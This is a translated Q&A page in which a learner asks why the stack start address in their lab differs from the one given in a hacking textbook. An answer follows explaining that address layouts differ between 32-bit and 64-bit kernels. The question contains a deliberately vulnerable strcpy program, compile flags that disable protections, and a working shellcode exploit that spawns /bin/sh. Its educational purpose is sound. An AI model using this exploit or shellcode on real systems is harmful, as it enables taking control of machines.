首页 文章

找到缓冲区溢出的堆栈的开始

提问于
浏览
4

据Grey Hat Hacking所述,“所有Linux ELF文件都映射到内存中,最后一个相对地址为0xbfffffff” . 通过从该地址减去4个NULL字节,文件名的长度和shellcode的长度,显然可以将被利用的缓冲区中的返回地址设置为环境变量的返回地址 .

但是,在尝试此操作时,在我看来,在我的64位Linux测试环境( ASLR disabled )中,堆栈不是在0xbffffff处开始,而是在0xffffdfff处启动 .

为什么我的堆栈开始于与书中不同的地址?这不是关于ALSR,因为地址不会每次都改变,但我想知道为什么我的地址从0xffffdfff开始而不是书中的地址 . 想法?

这是易受攻击的缓冲区:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
    char buffer[10];
    printf("Vulnerable program has loaded...");
    fflush(stdout);
    strcpy(buffer, argv[1]);
}

编译器选项:

gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c

这是漏洞利用代码:

#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#define FILENAME "./vulnerable_buffer_small" 
#define SIZE 80  
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
void main(int argc, char *argv[]) { 
    char *environment[] = {shellcode, NULL}; 
    char buffer[SIZE]; 
    char *parameters[] = {FILENAME, buffer, NULL}; 
    int *pointer, i, address; 
    address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); 
    pointer = (int *) (buffer + 2);; 
    for (i = 0; i < SIZE; i += 4) { 
        *pointer++ = address; 
    }   
    printf("Using address: 0x%X\n", address); 
    execle(parameters[0], (char*) parameters, environment); 
    exit(1); 
}

我尝试使用GDB在易受攻击的程序中找到第一个环境变量的地址,但没有成功:

(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb) 
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb) 
0xffffdff8: ""
(gdb) 
0xffffdff9: ""
(gdb) 
0xffffdffa: ""
(gdb) 
0xffffdffb: ""
(gdb) 
0xffffdffc: ""
(gdb) 
0xffffdffd: ""
(gdb) 
0xffffdffe: ""
(gdb) 
0xffffdfff: ""
(gdb) 
0xffffe000: <error: Cannot access memory at address 0xffffe000>

任何人都可以解释我在这里错过的东西吗?

1 回答

  • 1

    解释相当简单 - 如果比较32位内核和64位内核,段顺序和地址布局肯定会有所不同 . 本书的版本可能针对32位内核上的32位ELF二进制文件,或者可能是旧版本的内核 . 即使您运行32位二进制文件,您仍应该期望不同的结果 . 您不应该假设不同内核版本之间的地址空间布局甚至相同 .

    在线有相当数量的资源来发现有关此事的更多细节,例如关于内核2.0的一篇非常过时的文章:http://asm.sourceforge.net/articles/startup.html

    您还应该了解有关Linux上32位和64位二进制文件之间的程序地址空间布局差异的更多信息 .

相关问题